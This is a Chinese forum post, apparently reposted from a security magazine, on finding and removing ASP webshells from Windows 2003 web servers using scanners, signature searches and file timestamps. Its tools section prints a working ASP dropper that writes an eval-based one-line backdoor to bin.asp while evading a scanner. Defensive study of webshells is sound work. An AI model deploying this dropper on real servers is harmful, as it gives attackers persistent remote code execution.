轉載黑客防線
在腳本入侵如此瘋狂的當今時代,腳本系統所謂的“0day”漫天飛舞,一不小心webshell就被放到了伺服器上。如何幹掉已經存在于伺服器上的webshell?估計很多朋友看到這個提問都會有些輕微的寒意,因為現在的webshell太BT了,花樣翻新而且層出不窮,簡直就象打不死的小強!我¥%+%¥*+%¥*
以Windows Server2003系統ASP+SQL Server典型環境為例,本貼列舉兩種正常的清理Webshell的方法,召喚更多亡羊補牢的幹掉webshell的金點子,磚頭拍過來吧!
1.工具
作為伺服器管理者,網絡上各種清理webshell的工具應該人手一份,雖然這些工具做不到100%清理,但至少普通的webshell是可以搞定的。這裡列舉兩個:aspcandy和ScanWebshell。
Aspcandy是村雨寫的,釋出的時間比較早,也沒有再公開更新,感覺還不錯,至少可以省掉很多手工查找的麻煩。這個工具主要用來查找被入侵過的機器上面是否有asp後門,檢查伺服器上的ASP檔案是否有危險操作而存在。一般普通的用正常函數寫的webshell可以很友善的檢測出來。
ScanWebshell是lake2在06年中旬寫的一個asp頁面形式的查詢webshell的工具,它可以查asp、cer、cdx、asa及其嵌套調用的任意格式檔案,但是圖檔asp木馬之類的查不到。基本原理也是通過對特别的函數做審查而判定是否為webshell。
但是這個東西出來以後,就好比木馬清除工具在免殺技術面前無奈一樣,窮舉類型的安全規則還是很容易被人突破,是以很快就有人提出了突破它的方法:
<%
pass="hacker"
If request("bin")= pass then
shell = "bin.asp"
Connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath(shell)
set connad=server.createobject("adox.catalog")
connad.create connstr
Set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table cmd(shell text)")
conn.execute("insert into cmd (shell) values ('<"&Chr("37")&"e"&"val+request("""&pass&""")"&chr("37")&">')")
End If
%>
直接通路xxx.asp?bin=hacker會在目前目錄下生成一個bin.asp,連接配接密碼為hacker。這個小東西檔案可以躲避ScanWebShell,但是生成的bin.asp還是會被清除。
2.手工
喜歡黑客技術的人自然更喜歡手工去搞一些東西,這樣對動手能力會有一定的提高。一般有實際用處的手工檢測webshell的方法有兩種:一種是通過特征字元進行判斷,一種是通過系統時間進行判斷。
所謂的特征字元判斷,實際上和所有網上的清理工具使用的方法是一樣的,就是對webshell可能使用到的獨特的函數進行過濾,發現調用就仔細檢視是不是webshell。比如可以使用UE,設定“Execute(Request("”關鍵字元對web檔案夾下的所有檔案内容進行查詢,以此來找出一句話後門。
這種方法的優點在于很容易找到有針對性的後門,比如一句話後門和網絡上常見的後門,缺點是對未知的後門幾乎沒用。
另一種方法是通過系統時間來做第一次判斷,在估算被放置後門時間的左右時間段内,查詢所有伺服器上,網絡使用者可通路檔案的修改、寫入等相關操作,以此來确定webshell的範圍,并進一步仔細清理。比如:查找所有上個月内,伺服器上web路徑下的所有檔案改動、生成。
在沒有被人獲得完全的伺服器權限的情況下,用搜尋的方法是比較有威力的,可以查出來所有有可能有問題的檔案,包括特殊加密後的webshell、圖檔類型的webshell。但是,一旦伺服器被人搞掉了,拿到了高的權限,那檔案時間卻又是可以很容易修改的——是以,在确定伺服器沒有被搞掉的時候,大膽的使用這個方法去幹掉webshell吧!
上面幾個方法都是有一定作用的清理伺服器上webshell的方法,對一般的webshell清理是比較有幫助的,伺服器管理者在遇到webshell的情況下可以用以上的方法做一下測試,可能會有幫助。
問題來了:
1. 以上的工具和手工清理方法,有沒有突破的辦法?怎麼突破?
2. 有沒有更好的清理已經存在的webshell的方法?怎麼清理?[當然,以上文章的所有讨論,都是基于已經被放上了webshell的情況,怎麼讓别人放不上webshell他日再論。]